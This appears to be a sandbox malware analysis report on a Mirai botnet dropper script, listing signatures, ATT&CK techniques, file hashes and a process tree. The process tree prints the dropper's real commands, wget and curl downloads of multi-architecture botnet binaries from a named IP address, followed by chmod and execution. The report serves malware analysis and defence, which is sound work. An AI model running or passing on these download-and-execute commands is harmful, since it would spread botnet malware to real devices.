mirai | 75c2685fac6f7d0eb80f04d174e8977d0363398e9c2852b1939d9951606331c5

Analysis

max time kernel
149s
max time network
152s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
27/03/2025, 12:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ohsitsvegawellrip.sh
Size

3KB
MD5

bd5e291801c56bce037d4222db8048a8
SHA1

604dbdedf1611a4e40546cb19455c5d49bdd2537
SHA256

75c2685fac6f7d0eb80f04d174e8977d0363398e9c2852b1939d9951606331c5
SHA512

5cfc3d4e72d492e24418106f2713525e544be0bd47342f59ce7d3beba59f59a2540bfab00b6a219df644840911bf4144cabcc4111b989afdbd7b1e520e2ffa07

Score

10^/10

mirai botnet credential_access defense_evasion discovery

Malware Config

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (13122) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
866	chmod
886	chmod
836	chmod
906	chmod
926	chmod
856	chmod
714	chmod
876	chmod
916	chmod
896	chmod
722	chmod
728	chmod
746	chmod
795	chmod
846	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/loudscream	716	ohsitsvegawellrip.sh
/tmp/loudscream	723	ohsitsvegawellrip.sh
/tmp/loudscream	729	ohsitsvegawellrip.sh
/tmp/loudscream	748	ohsitsvegawellrip.sh
/tmp/loudscream	797	ohsitsvegawellrip.sh
/tmp/loudscream	837	ohsitsvegawellrip.sh
/tmp/loudscream	847	ohsitsvegawellrip.sh
/tmp/loudscream	857	ohsitsvegawellrip.sh
/tmp/loudscream	867	ohsitsvegawellrip.sh
/tmp/loudscream	877	ohsitsvegawellrip.sh
/tmp/loudscream	887	ohsitsvegawellrip.sh
/tmp/loudscream	897	ohsitsvegawellrip.sh
/tmp/loudscream	907	ohsitsvegawellrip.sh
/tmp/loudscream	917	ohsitsvegawellrip.sh
/tmp/loudscream	927	ohsitsvegawellrip.sh

Modifies Watchdog functionality 1 TTPs 26 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	loudscream
File opened for modification	/dev/watchdog	loudscream
File opened for modification	/dev/misc/watchdog	loudscream
File opened for modification	/dev/misc/watchdog	loudscream
File opened for modification	/dev/watchdog	loudscream
File opened for modification	/dev/misc/watchdog	loudscream
File opened for modification	/dev/watchdog	loudscream
File opened for modification	/dev/watchdog	loudscream
File opened for modification	/dev/misc/watchdog	loudscream
File opened for modification	/dev/watchdog	loudscream
File opened for modification	/dev/watchdog	loudscream
File opened for modification	/dev/misc/watchdog	loudscream
File opened for modification	/dev/watchdog	loudscream
File opened for modification	/dev/misc/watchdog	loudscream
File opened for modification	/dev/misc/watchdog	loudscream
File opened for modification	/dev/misc/watchdog	loudscream
File opened for modification	/dev/misc/watchdog	loudscream
File opened for modification	/dev/misc/watchdog	loudscream
File opened for modification	/dev/misc/watchdog	loudscream
File opened for modification	/dev/watchdog	loudscream
File opened for modification	/dev/watchdog	loudscream
File opened for modification	/dev/watchdog	loudscream
File opened for modification	/dev/watchdog	loudscream
File opened for modification	/dev/watchdog	loudscream
File opened for modification	/dev/misc/watchdog	loudscream
File opened for modification	/dev/watchdog	loudscream

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Enumerates active TCP sockets 1 TTPs 12 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream

Reads process memory 1 TTPs 12 IoCs

Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

credential_access

Proc Filesystem

T1003.007

description	ioc	Process
File opened for reading	/proc/659/maps	loudscream
File opened for reading	/proc/661/maps	loudscream
File opened for reading	/proc/662/maps	loudscream
File opened for reading	/proc/682/maps	loudscream
File opened for reading	/proc/690/maps	loudscream
File opened for reading	/proc/931/maps	loudscream
File opened for reading	/proc/932/maps	loudscream
File opened for reading	/proc/656/maps	loudscream
File opened for reading	/proc/683/maps	loudscream
File opened for reading	/proc/684/maps	loudscream
File opened for reading	/proc/929/maps	loudscream
File opened for reading	/proc/643/maps	loudscream

Changes its process name 13 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	a	729	loudscream
Changes the process name, possibly in an attempt to hide itself	a	748	loudscream
Changes the process name, possibly in an attempt to hide itself	a	797	loudscream
Changes the process name, possibly in an attempt to hide itself	a	837	loudscream
Changes the process name, possibly in an attempt to hide itself	a	847	loudscream
Changes the process name, possibly in an attempt to hide itself	a	857	loudscream
Changes the process name, possibly in an attempt to hide itself	a	867	loudscream
Changes the process name, possibly in an attempt to hide itself	a	877	loudscream
Changes the process name, possibly in an attempt to hide itself	a	887	loudscream
Changes the process name, possibly in an attempt to hide itself	a	897	loudscream
Changes the process name, possibly in an attempt to hide itself	a	907	loudscream
Changes the process name, possibly in an attempt to hide itself	a	917	loudscream
Changes the process name, possibly in an attempt to hide itself	a	927	loudscream

Reads system network configuration 1 TTPs 12 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream
File opened for reading	/proc/net/tcp	loudscream

Reads runtime system information 15 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
723	loudscream
685	ohsitsvegawellrip.sh
720	curl
721	cat

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/k03ldc.x86_64	curl
File opened for modification	/tmp/k03ldc.arm7	wget
File opened for modification	/tmp/k03ldc.spc	wget
File opened for modification	/tmp/k03ldc.spc	curl
File opened for modification	/tmp/k03ldc.arm7	curl
File opened for modification	/tmp/k03ldc.x86	curl
File opened for modification	/tmp/k03ldc.arm	wget
File opened for modification	/tmp/k03ldc.arm5	curl
File opened for modification	/tmp/k03ldc.arm6	wget
File opened for modification	/tmp/k03ldc.ppc	curl
File opened for modification	/tmp/k03ldc.sh4	curl
File opened for modification	/tmp/k03ldc.mpsl	wget
File opened for modification	/tmp/k03ldc.arm5	wget
File opened for modification	/tmp/k03ldc.ppc	wget
File opened for modification	/tmp/k03ldc.m68k	curl
File opened for modification	/tmp/k03ldc.i686	wget
File opened for modification	/tmp/k03ldc.x86	wget
File opened for modification	/tmp/k03ldc.mips	curl
File opened for modification	/tmp/k03ldc.arm	curl
File opened for modification	/tmp/k03ldc.sh4	wget
File opened for modification	/tmp/k03ldc.i686	curl
File opened for modification	/tmp/k03ldc.i486	wget
File opened for modification	/tmp/k03ldc.mpsl	curl
File opened for modification	/tmp/k03ldc.arm6	curl
File opened for modification	/tmp/k03ldc.m68k	wget
File opened for modification	/tmp/k03ldc.arc	curl
File opened for modification	/tmp/k03ldc.i486	curl
File opened for modification	/tmp/loudscream	ohsitsvegawellrip.sh
File opened for modification	/tmp/k03ldc.arc	wget
File opened for modification	/tmp/k03ldc.x86_64	wget

/tmp/ohsitsvegawellrip.sh
/tmp/ohsitsvegawellrip.sh
1⤵
- Executes dropped EXE
- System Network Configuration Discovery
- Writes file to tmp directory
PID:685
- /usr/bin/wget
  wget http://196.251.86.49/bins/k03ldc.x86
  2⤵
  - Writes file to tmp directory
  PID:688
- /usr/bin/curl
  curl -O http://196.251.86.49/bins/k03ldc.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:704
- /bin/cat
  cat k03ldc.x86
  2⤵
  PID:713
- /bin/chmod
  chmod +x k03ldc.x86 loudscream ohsitsvegawellrip.sh systemd-private-220c6404c97a40ffa737e2d9f3f125bf-systemd-timedated.service-eMhAPh
  2⤵
  - File and Directory Permissions Modification
  PID:714
- /tmp/loudscream
  ./loudscream .x86
  2⤵
  PID:716
- /usr/bin/wget
  wget http://196.251.86.49/bins/k03ldc
  2⤵
  PID:718
- /usr/bin/curl
  curl -O http://196.251.86.49/bins/k03ldc.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:720
- /bin/cat
  cat k03ldc.mips
  2⤵
  - System Network Configuration Discovery
  PID:721
- /bin/chmod
  chmod +x k03ldc.mips k03ldc.x86 loudscream ohsitsvegawellrip.sh systemd-private-220c6404c97a40ffa737e2d9f3f125bf-systemd-timedated.service-eMhAPh
  2⤵
  - File and Directory Permissions Modification
  PID:722
- /tmp/loudscream
  ./loudscream .mips
  2⤵
  - System Network Configuration Discovery
  PID:723
- /usr/bin/wget
  wget http://196.251.86.49/bins/k03ldc.mpsl
  2⤵
  - Writes file to tmp directory
  PID:725
- /usr/bin/curl
  curl -O http://196.251.86.49/bins/k03ldc.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/cat
  cat k03ldc.mpsl
  2⤵
  PID:727
- /bin/chmod
  chmod +x k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream ohsitsvegawellrip.sh systemd-private-220c6404c97a40ffa737e2d9f3f125bf-systemd-timedated.service-eMhAPh
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/loudscream
  ./loudscream .mpsl
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  PID:729
- /usr/bin/wget
  wget http://196.251.86.49/bins/k03ldc.arm
  2⤵
  - Writes file to tmp directory
  PID:732
- /usr/bin/curl
  curl -O http://196.251.86.49/bins/k03ldc.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:736
- /bin/chmod
  chmod +x k03ldc.arm k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream ohsitsvegawellrip.sh systemd-private-220c6404c97a40ffa737e2d9f3f125bf-systemd-timedated.service-eMhAPh
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/loudscream
  ./loudscream .arm
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:748
- /usr/bin/wget
  wget http://196.251.86.49/bins/k03ldc.arm5
  2⤵
  - Writes file to tmp directory
  PID:790
- /usr/bin/curl
  curl -O http://196.251.86.49/bins/k03ldc.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:791
- /bin/chmod
  chmod +x k03ldc.arm k03ldc.arm5 k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream ohsitsvegawellrip.sh systemd-private-220c6404c97a40ffa737e2d9f3f125bf-systemd-timedated.service-eMhAPh
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/loudscream
  ./loudscream .arm5
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:797
- /usr/bin/wget
  wget http://196.251.86.49/bins/k03ldc.arm6
  2⤵
  - Writes file to tmp directory
  PID:827
- /usr/bin/curl
  curl -O http://196.251.86.49/bins/k03ldc.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:831
- /bin/chmod
  chmod +x k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream ohsitsvegawellrip.sh
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/loudscream
  ./loudscream .arm6
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:837
- /usr/bin/wget
  wget http://196.251.86.49/bins/k03ldc.arm7
  2⤵
  - Writes file to tmp directory
  PID:843
- /usr/bin/curl
  curl -O http://196.251.86.49/bins/k03ldc.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:844
- /bin/chmod
  chmod +x k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream ohsitsvegawellrip.sh
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/loudscream
  ./loudscream .arm7
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:847
- /usr/bin/wget
  wget http://196.251.86.49/bins/k03ldc.ppc
  2⤵
  - Writes file to tmp directory
  PID:850
- /usr/bin/curl
  curl -O http://196.251.86.49/bins/k03ldc.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:854
- /bin/chmod
  chmod +x k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.x86 loudscream ohsitsvegawellrip.sh
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/loudscream
  ./loudscream .ppc
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:857
- /usr/bin/wget
  wget http://196.251.86.49/bins/k03ldc.m68k
  2⤵
  - Writes file to tmp directory
  PID:860
- /usr/bin/curl
  curl -O http://196.251.86.49/bins/k03ldc.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:864
- /bin/chmod
  chmod +x k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.x86 loudscream ohsitsvegawellrip.sh
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/loudscream
  ./loudscream .m68k
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:867
- /usr/bin/wget
  wget http://196.251.86.49/bins/k03ldc.sh4
  2⤵
  - Writes file to tmp directory
  PID:870
- /usr/bin/curl
  curl -O http://196.251.86.49/bins/k03ldc.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /bin/chmod
  chmod +x k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.x86 loudscream ohsitsvegawellrip.sh
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/loudscream
  ./loudscream .sh4
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:877
- /usr/bin/wget
  wget http://196.251.86.49/bins/k03ldc.spc
  2⤵
  - Writes file to tmp directory
  PID:880
- /usr/bin/curl
  curl -O http://196.251.86.49/bins/k03ldc.spc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/chmod
  chmod +x k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 loudscream ohsitsvegawellrip.sh
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/loudscream
  ./loudscream .spc
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:887
- /usr/bin/wget
  wget http://196.251.86.49/bins/k03ldc.arc
  2⤵
  - Writes file to tmp directory
  PID:890
- /usr/bin/curl
  curl -O http://196.251.86.49/bins/k03ldc.arc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/chmod
  chmod +x k03ldc.arc k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 loudscream ohsitsvegawellrip.sh
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/loudscream
  ./loudscream .arc
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:897
- /usr/bin/wget
  wget http://196.251.86.49/bins/k03ldc.x86_64
  2⤵
  - Writes file to tmp directory
  PID:900
- /usr/bin/curl
  curl -O http://196.251.86.49/bins/k03ldc.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:904
- /bin/chmod
  chmod +x k03ldc.arc k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 k03ldc.x86_64 loudscream ohsitsvegawellrip.sh
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/loudscream
  ./loudscream .x86_64
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:907
- /usr/bin/wget
  wget http://196.251.86.49/bins/k03ldc.i686
  2⤵
  - Writes file to tmp directory
  PID:910
- /usr/bin/curl
  curl -O http://196.251.86.49/bins/k03ldc.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/chmod
  chmod +x k03ldc.arc k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.i686 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 k03ldc.x86_64 loudscream ohsitsvegawellrip.sh
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/loudscream
  ./loudscream .i686
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:917
- /usr/bin/wget
  wget http://196.251.86.49/bins/k03ldc.i486
  2⤵
  - Writes file to tmp directory
  PID:920
- /usr/bin/curl
  curl -O http://196.251.86.49/bins/k03ldc.i486
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:924
- /bin/chmod
  chmod +x k03ldc.arc k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.i486 k03ldc.i686 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 k03ldc.x86_64 loudscream ohsitsvegawellrip.sh
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/loudscream
  ./loudscream .i486
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  PID:927

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

OS Credential Dumping

T1003

Proc Filesystem

T1003.007

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/k03ldc.x86

Filesize
53KB

MD5
24356e787f328a42cc9ea7ec243e9814

SHA1
a3ef01ab629812d31fd18f35a0414a464e832f39

SHA256
129a3f3ab60b25f8cc9ccb21136710f486cdf8269f0b3c67ef44f88cecd107ac

SHA512
0a05e80260cbe65030dd70448d6951c4f9d6f8e1a3a47b33cf13c64a3dfdc302f6a50f5322cf094e167744dc2b29c03905d9386e4870069b59b5588396c0c5dd

Download Submit
/tmp/loudscream

Filesize
78KB

MD5
4ac71305f9f8e2f1d6a13ac33f003d02

SHA1
b8c389354df8e07b3022212150ea5984b9903870

SHA256
8f0b4107429b21c6994d052ee2b00024a43d11edb44bee6062176fcf46a16767

SHA512
4f73a1c9806c157840b9109d9b575db765160c5e04293d241a321dcbfce9e506cb956d2645e790ef1d9b985ceb0a323bad60b7fbefc5b990b2ceaa4aed93d465

Download Submit
/tmp/loudscream

Filesize
78KB

MD5
312227d16d63cec249f9641298f59e2a

SHA1
81286a7597155a401699d317ba0a18c218aab3f5

SHA256
09f3b93891d420d9c1d71b598a31d2aec6491a9c291e5884dd2ee5d7a53ea17f

SHA512
3351ce2709a7da9d0acf79e12e1cd77a37d62cf3a7c67750f7ec2e98db7395b2ce61c31981a4c9b6249ecd50cd71460368c88f2b1e931b284d3ff7ae3e3d72a6

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads